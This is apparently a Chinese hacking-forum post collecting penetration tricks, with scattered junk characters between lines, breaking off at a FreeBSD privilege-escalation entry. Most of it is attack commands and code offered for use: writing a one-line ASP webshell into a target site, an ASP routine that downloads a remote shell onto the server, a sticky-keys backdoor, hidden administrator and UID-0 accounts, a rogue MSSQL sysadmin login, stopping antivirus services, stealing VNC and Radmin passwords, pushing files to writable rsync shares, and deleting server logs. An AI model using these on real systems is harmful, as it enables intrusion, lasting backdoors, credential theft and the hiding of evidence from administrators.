渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
3 e! M8 _2 h% o3 EOn Error Resume Next
0 c$ o( k6 E1 _6 D8 b* _If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
4 g% {. H# L: P+ x& M7 C! g  F        
0 n  t% e4 D( a  Z
8 ?9 `# x2 U: `Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
5 D- Q7 }$ f6 y; g' ?; V$ p
Usage:Cscript vWeb.vbs",4096,"Lilo"
6 j+ T  M7 a9 c0 b        WScript.Quit
5 _- h- ^- W. ^* o8 d5 Q, {( qEnd If
7 Y$ N1 M/ i- ]6 ]1 bSet ObjService=GetObject
: w. s+ t, A  G5 ~$ t
3 M- A$ S& ~+ j5 y("IIS://LocalHost/W3SVC")
: j; M% T/ f/ \( C" lFor Each obj3w In objservice
; i# t; J9 D$ I" u( L( J9 n/ D! A/ q        If IsNumeric(obj3w.Name)
+ `2 W# Q, a9 |6 ]* s9 Z
% u+ z0 l1 p# M# [: cThen
: ?* n/ O6 y8 V0 R  [                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
) r$ R8 q  t# Y7 O  }" u         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
$ J' y3 M7 I6 E- J! a                If Err

<> 0 Then WScript.Quit (1)
0 J: K) _  f2 @0 t8 e/ [                WScript.Echo Chr(10) & "[" &
1 r2 f1 `- g  n( W0 L1 C
9 p1 C: A/ i5 UOService.ServerComment & "]"
% w9 g; Q& r8 D/ R. @                For Each Binds In OService.ServerBindings
# \4 C& ~" I# b# X' m% \     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
6 q5 K( A0 P$ |1 N* J; p                        

+ w/ ?& Q- s$ o: v% QWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
. Y0 F! t- E3 n* H4 M) v5 y2 \                Next
0 F: Z: B1 d* Y- Z) `/ a      

         WScript.Echo "ath            : " & VDirObj.Path
' L) E8 }' k) l! o' a' x" H        End If
( r' |! E9 J$ W6 U, B7 dNext
- s+ T; I  f0 O6 `% e+ D7 d0 d复制代码
. X, O: W1 i8 w- l) d3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
  `4 D  G( g- e—————————————————————
WordPress的平台，爆绝对路径的方法是：
; s9 l" b) t6 Jurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
  L: L- j. I* y  P6 gphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
5 L, t: X, a/ |: ^: J- hphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
, b8 |! |4 z" v( w) @" odata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
4 b; a1 s8 d8 N+ D* I1 @' z8 Gnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
+ F' |. i- `1 k+ V) ^; J! Inetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
/ H" C: X) i8 ^' }+ y. E: Y————————————————————
: g* Y  k9 D! G$ f" a; R命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
: P2 I2 t; S/ [) ^0 z在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
$ Q, Z- a. U) ?# b4 I  cjs:
( O' C  M1 M) k! k, ivar o=new ActiveXObject( "Shell.Users" );
" w: p3 B* c, Gz=o.create("test") ;
z.changePassword("123456","")
6 n$ R$ Z5 z2 bz.setting("AccountType")=3;
0 K( {, I" z( V1 R  n: P7 e
vbs:
, J+ b6 F0 D! q9 \Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
4 g3 L8 {; z8 y. E$ r& iz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

- Q0 m; L" B# o$ q! a命令如下
9 S, `/ Z6 c. w: Wcacls c: /e /t /g everyone:F           #c盘everyone权限
  j' F8 }9 a' f+ d% f. z, M7 ucacls "目录" /d everyone               #everyone不可读，包括admin
) k$ n$ q, Z# f: w! R6 o4 Q+ R) A————————以下配合PR更好————
3389相关
! A; w$ |0 d: t0 A/ \0 \$ V8 ?a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
7 \  L/ L! \/ C* [1 L2 gb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
; g% c. K3 K& }+ B/ ?2 J2003 运行mstsc /console   
& c8 }9 ]) S% I6 w0 g6 |4 u, g
3 h6 @9 _; u& L杀软关闭（把杀软所在的文件的所有权限去掉）
9 {. A( C; Y  u4 _8 m- F处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
9 a( x5 c4 c- v, b9 }# E# onet stop "Symantec AntiVirus Definition Watcher" /y
$ c6 i6 \" Y2 @. r) }net stop "Symantec Event Manager" /y
$ G$ O) Y: X$ f1 Bnet stop "System Event Notification" /y
" a; {/ H6 `4 K! K" nnet stop "Symantec Settings Manager" /y
9 D% N' I- b% n7 e1 b3 L
卖咖啡：net stop "McAfee McShield"
/ }4 R- S8 d2 {1 @) S: H————————————————————
0 b  e! x; S" F& ^
. m( G5 i* p% K3 ]8 Q5 @/ T5次SHIFT：
% y$ f+ D) C& y2 E  icopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
6 u% K( L0 G  j% F" p/ f——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
0 {0 C6 x  k4 n8 \/ M) M1 ?) a5 l) k2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
% s7 \1 l& s7 b* }/ p" SEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
/ F  [2 s! B) |. WGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
# \5 I) v9 N% I8 l; h" j0 ]6 sC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
. y/ O% V( ?; q9 M# A" hex011120.log / ex011121.log / ex011124.log三个文件，
# T4 b' ~3 |& t5 j& j/ K直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
) X; }  W& J) t3 F* m9 \
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
  v. p9 \: t- ?: g) t- F9 B. XHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
% j* J' v: x3 y; O, t找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

! Y! ~. m  S/ S" F1 kServer\90\Tools\Shell\mru.dat
) D$ u' [+ g$ e- v9 l6 m$ W—————————————————————————
" j+ C7 s0 B' L' s0 _% W防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

) d. [/ h; ]/ ~8 I<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
$ V; |! [% _3 s5 o. r5 X5 PDim Ads, Retrieval, GetRemoteData
; F: }* [  F6 H3 [* I+ f% R- LOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
/ ^5 r' j& B0 j% b% Q/ pWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
$ d9 ]8 c5 |  lEnd With
Set Retrieval = Nothing
8 E( o+ g, X/ G- LSet Ads = Server.CreateObject("Adodb.Stream")
$ d# ?# j; G" l4 ?8 S% n2 |. mWith Ads
.Type = 1
.Open
* [* A/ t# c) Q( u  o.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
6 [$ u7 O( I" t1 g" b# }% w0 ?.Close()
End With
+ y: v9 j! |4 n) [9 {Set Ads=nothing
End Sub
$ E8 h- O3 S' O7 F/ ^6 n
' T% ]2 f  b% R4 @+ E9 oeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
/ w) D, _% P7 _. o# @
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
  F  h6 p$ ?+ O注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
, |8 E3 c. }# `: C6 Vregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
; I) e' f. I( i) c/ }+ Zregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
7 N4 v5 y! o! X$ wRadmin 默认端口是4899，
' `9 z. {3 P. @3 Z1 g- EHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
( P6 J) x& E. }' ^8 ~- U; j7 W3 ]HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
, p9 g! B( N2 |) ^; N, U! H, ~保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
# G4 e+ }) C5 Y8 ~6 l' ~+ YWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
* d/ g5 P2 }: [+ g; }来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
5 v+ l+ L( s% p: U, a7 u/ S0 a7i24的web目录也是可写，权限为administrator。
: }; |* H9 A6 [
1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
( J( O3 A. U0 p2 f7 rstrSQLDBName = "数据库名称"
5 V* S5 h- z+ ESet conn = Server.createObject("ADODB.Connection")
" E" H; h- |4 \* G2 i$ l$ ~strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
+ i1 U6 I4 C( A% {6 X7 Z
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
$ p& K7 M2 x3 E1 z8 Aconn.open strCon
, N4 K! i! u+ u: K( i: p4 C- pdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
! r$ z$ n9 q; q1 cid = request("id")
$ q  K9 N$ ]! K% Q% X9 Q$ ^' T. ustrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
* I1 Y# i4 F0 t4 s! n# a5 Irs.close
& K: X  ^0 s5 ^" p5 D%>
- y% `+ {9 K: `* L6 K( A) M复制代码
; ?) ^) |( l1 A; m8 K******liunx 相关******
4 `, w7 J0 F! p: w一.ldap渗透技巧
1.cat /etc/nsswitch
2 p2 e  T: Y7 I8 V看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
8 u: [/ q& e9 f% v8 z3 Abase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

; E8 q& c7 `) ]6 {- H3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
; x. p, z! A2 h7 l9 u6 S3 Fldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 B/ b/ e0 T% R1 ]
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ _: X/ ~) h; D5 v/ I- ^( {  S9 d
0 y7 C2 S# L' ~% C$ q7 K
4.查找10条用户记录
6 d9 Y3 d- R8 `* [. Eldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

6 a# e0 G5 N2 I1 i& H  G* ]( F实战:
' w, U( l( F* F. |' P! x1.cat /etc/nsswitch
( l  ~  E( t; u/ ~看看密码登录策略我们可以看到使用了file ldap模式
( ?9 g# B" }1 l+ v/ G6 c
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
/ b, u6 Y5 k5 s" O1 D
) `: D0 A, Q) y$ j& p' U3.查找管理员信息
匿名方式
* Y% q0 w# @, j" m% J, f6 {6 H( sldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
1 z% ^7 q2 o* {) n6 H3 h7 \5 A4 _
5 Z% J8 `# `( |6 ^" @: p"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
& u3 Z4 w7 S, P2 E$ {* M; k有密码形式
" T$ Z+ f9 V, O( L) d# R) Mldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
7 g( A7 L2 h$ N
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

' T$ L4 h# w1 f: I. U7 X* S
3 m! S+ f7 V( v1 S4 ]4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
( q3 x  c; g  ^' {9 i1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
: z0 i3 \! Y' V1 z1 ?9 b" t) F8 ydc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
( T8 ~+ b0 I4 ~0 A% Q$ S1 Cuid: manager
objectClass: inetOrgPerson
/ c6 t; {- f7 NobjectClass: organizationalPerson
objectClass: person
. [0 q4 ^2 E! mobjectClass: top
9 j; \, u8 J- \" gsn: manager
cn: manager
- r8 q: {5 q) r* m9 Q( J) w
( h7 n5 m& H5 [6 }4 N& X. d; odn: uid=superadmin,dc=ruc,dc=edu,dc=cn
1 Q% R  G9 I1 P9 m8 G5 puid: superadmin
! u" m: d: Q  B) M8 r# lobjectClass: inetOrgPerson
/ n# S& d5 w5 m9 y& G4 O+ YobjectClass: organizationalPerson
objectClass: person
% {. B* e0 t0 R& q; M% G( tobjectClass: top
sn: superadmin
" U$ A6 U# r+ ~  N$ T, [# ecn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
7 }9 }4 K' H. D; J8 a$ A0 XobjectClass: inetOrgPerson
! A0 a, \+ b  v) h+ ~8 V8 F" t6 TobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin
- C4 X2 A/ W; X4 T
3 w" `( d' b" c  k# X! _dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
9 e, ^; t5 C/ v1 r) N; wuid: dcp_anonymous
objectClass: top
! K" [1 i0 Q. t/ a$ A9 F4 kobjectClass: person
objectClass: organizationalPerson
( f" c2 U( H' e# U/ z% ~* K7 \objectClass: inetOrgPerson
' J( n4 M# b: \( `& G! d4 y! e0 ysn: dcp_anonymous
cn: dcp_anonymous
& A" c- T' n6 H1 ?( h) c6 a1 j
2.查看基类
& N+ d" r& i  c2 k+ _5 ?1 [' Hbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

& @4 H+ Y: f& b! {2 G, n: Lmore
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
% g1 F) |5 E- s! A2 e1 FobjectClass: domain
8 m- A. Z0 r0 u9 M; W% r! u
0 l9 L) p2 g( k$ ~3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
2 y1 m2 `  _1 g1 F' G% l7 Tdn:
$ Y9 F" i: r2 _$ ?objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
& E7 g" q' U% D* {! b& [' u3 r. j+ csupportedExtension: 2.16.840.1.113730.3.5.7
9 L1 v) i$ v$ g- t8 Y2 ~supportedExtension: 2.16.840.1.113730.3.5.8
* h0 j) }' y2 A2 w9 D, a( m8 v3 \supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
# j0 ~1 S- \6 c3 H6 s' |supportedExtension: 2.16.840.1.113730.3.5.6
  @0 k) ^: u0 A; y- X3 k+ i3 lsupportedExtension: 2.16.840.1.113730.3.5.4
' e) X1 M6 O4 W% I% vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
" y# N  G; w& W% x* w# W1 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
% w+ N/ j  Y% Y- f/ m7 gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
' o' b! `+ {0 S! L. xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
, P$ A0 W9 Y7 _/ v+ Y4 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
# ~. f0 p6 @8 }: F. V, K5 RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
; W2 j% O- u) p( Q2 j0 F% R1 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
& ^+ o5 A3 U1 d+ psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
: [# {* w" U3 R7 }" J3 }1 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
+ F$ Q" U9 i$ Z1 k5 W$ |0 CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
: Z& w/ |" W1 ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
7 r- K; j2 W( `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
4 X2 s9 g0 @" z, g$ g' N* JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
- t; F: p3 e0 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
. }1 y( G/ p: r5 i9 k. f* xsupportedExtension: 1.3.6.1.4.1.1466.20037
+ ]5 H: x$ n1 Q9 B4 ^) |) Q, EsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
! X# |3 F3 K8 msupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
, w0 P& W! q/ h* BsupportedControl: 2.16.840.1.113730.3.4.9
0 i; l1 ^& T) Y0 l9 M$ v. ?6 L2 W9 ^supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
$ e. ~, B) _( gsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
- A& T! c+ A7 {1 D) K/ \7 {& K: nsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
3 k- R& S8 J: H+ R" ?supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
; [1 _8 _& k1 r0 m0 ]- E2 PsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
5 z: \. _+ a- ZsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
3 L3 S& g& `8 NsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
% z1 f' P$ Z& V+ @, C5 ^supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
2 M% S$ K" K. s5 O/ ^  _1 fsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
) d; e4 ^3 ^" q4 h, WsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
+ ~) R, I- \/ d& p0 x# _* l7 fsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
% q& L) y# A) J& a, T' Y. g0 R: LsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
# O6 U% I2 {0 z" H1 q: {$ a  R' Y. xsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
* `( `$ |2 w' b+ f; IsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
, y- M0 s. u7 |% q( n* D0 lsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
. f( j& w: k, V; O+ S1 xsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
( s7 ^7 J1 e; A# ]supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
  y4 i- `' _7 `+ c* B5 RsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
, F, S4 F: Q9 @$ _. csupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
" u2 ~5 M( ~' g. S7 N* O4 esupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
' s" @( W. o9 P, m  ZsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
4 G/ M- C# q$ M5 lsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
! H; l: _2 R9 M" [) \* Y' y" LsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
# U; `' G+ @7 J. k1 P, JsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
# c+ B5 o! k9 ?# x" BsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
6 d( n5 G9 m" A9 ssupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
8 d* |$ i  y9 T, q! ~3 \* NsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
4 {- A$ R, C4 n0 ?  [$ osupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
# ]: i5 U, R: a9 k# LsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
; B  l  |& B% T$ W6 m3 ysupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
1 h5 l4 e. s1 _& |" q6 [supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
0 S1 R& p/ F- }: u/ ]supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
7 J0 _: H9 M$ @6 k. TsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
9 Q) p6 C: B5 h; A: e* W0 T————————————
0 J5 X1 J% C" S2. NFS渗透技巧
showmount -e ip
列举IP
——————
1 d) f2 E/ O0 l( I6 w$ c3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
, I& i" u8 K2 D. Efinance
img_finance
auto
img_auto
html_cms
img_cms
ent_cms
ent_img
; G& D8 Q1 e7 E! `6 F# w: jceshi
- v' M' o7 M$ T. w. L9 Yres_img
& K) ]  y4 M% L' g$ L. m9 q9 ares_img_c2
6 \  s$ a. @: _; X, Jchip
1 P$ |3 t; z) n$ z* Vchip_c2
ent_icms
games
5 x2 U3 `- `" Dgamesimg
$ F+ e0 F0 D% E/ `7 J$ A& f9 r. bmedia
9 R0 A% \3 M' n2 W( Vmediaimg
fashion
8 t" K8 b* v8 e! xres-fashion
! }( I: H" N( ?9 |# Z3 yres-fo
taobao-home
% o6 G$ G. l& b2 O3 Z# n* z  eres-taobao-home
house
/ L  E/ z+ N  C' h0 hres-house
2 p/ P! |6 e0 P9 ?6 W  w1 N# Kres-home
- ~: W% E1 x) X8 Hres-edu
- R1 b4 y& ?" Zres-ent
$ N( T$ `' o* R9 [res-labs
res-news
( w% ]' _6 K* Y! f, D5 M  Hres-phtv
res-media
home
& |" C. t) W; @8 K# Zedu
news
2 j/ d7 i  u+ N9 S: P4 `+ |res-book

; @$ _' w" r7 }8 j  \5 S看相应的下级目录(注意一定要在目录后面添加上/)
' x+ b' k+ }% S% v9 V% R

4 p1 U7 G$ ]4 F. o+ ]; A( _/ O: h( srsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
; g8 ]. ]2 d9 f& f# ?5 s' r
9 a7 L' }6 A& x3 f3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
; x7 j; c0 M8 ]- c: G) aGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
8 B$ Z$ `. }9 ~! f6 z/ }2 ~( T五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
! x/ B. }  y( I: j9 z* O
" O( D& ]6 G: r5 q$ R六.joomla渗透小技巧
确定版本
" ^1 I7 Z& m: [" i  Qindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

$ S$ [/ X7 c  {! ^" |' l15&catid=32:languages&Itemid=47

$ S3 _* V$ B- ~* v2 l重新设置密码
index.php?option=com_user&view=reset&layout=confirm

  G2 ~! o0 D$ M( h9 V七: Linux添加UID为0的root用户
/ A# _/ O( M. [% y- M. @useradd -o -u 0 nothack

, U0 z; [. y5 \0 W7 ], i八.freebsd本地提权
, u$ `0 g" K3 I) ^4 O6 L[argp@julius ~]$ uname -rsi
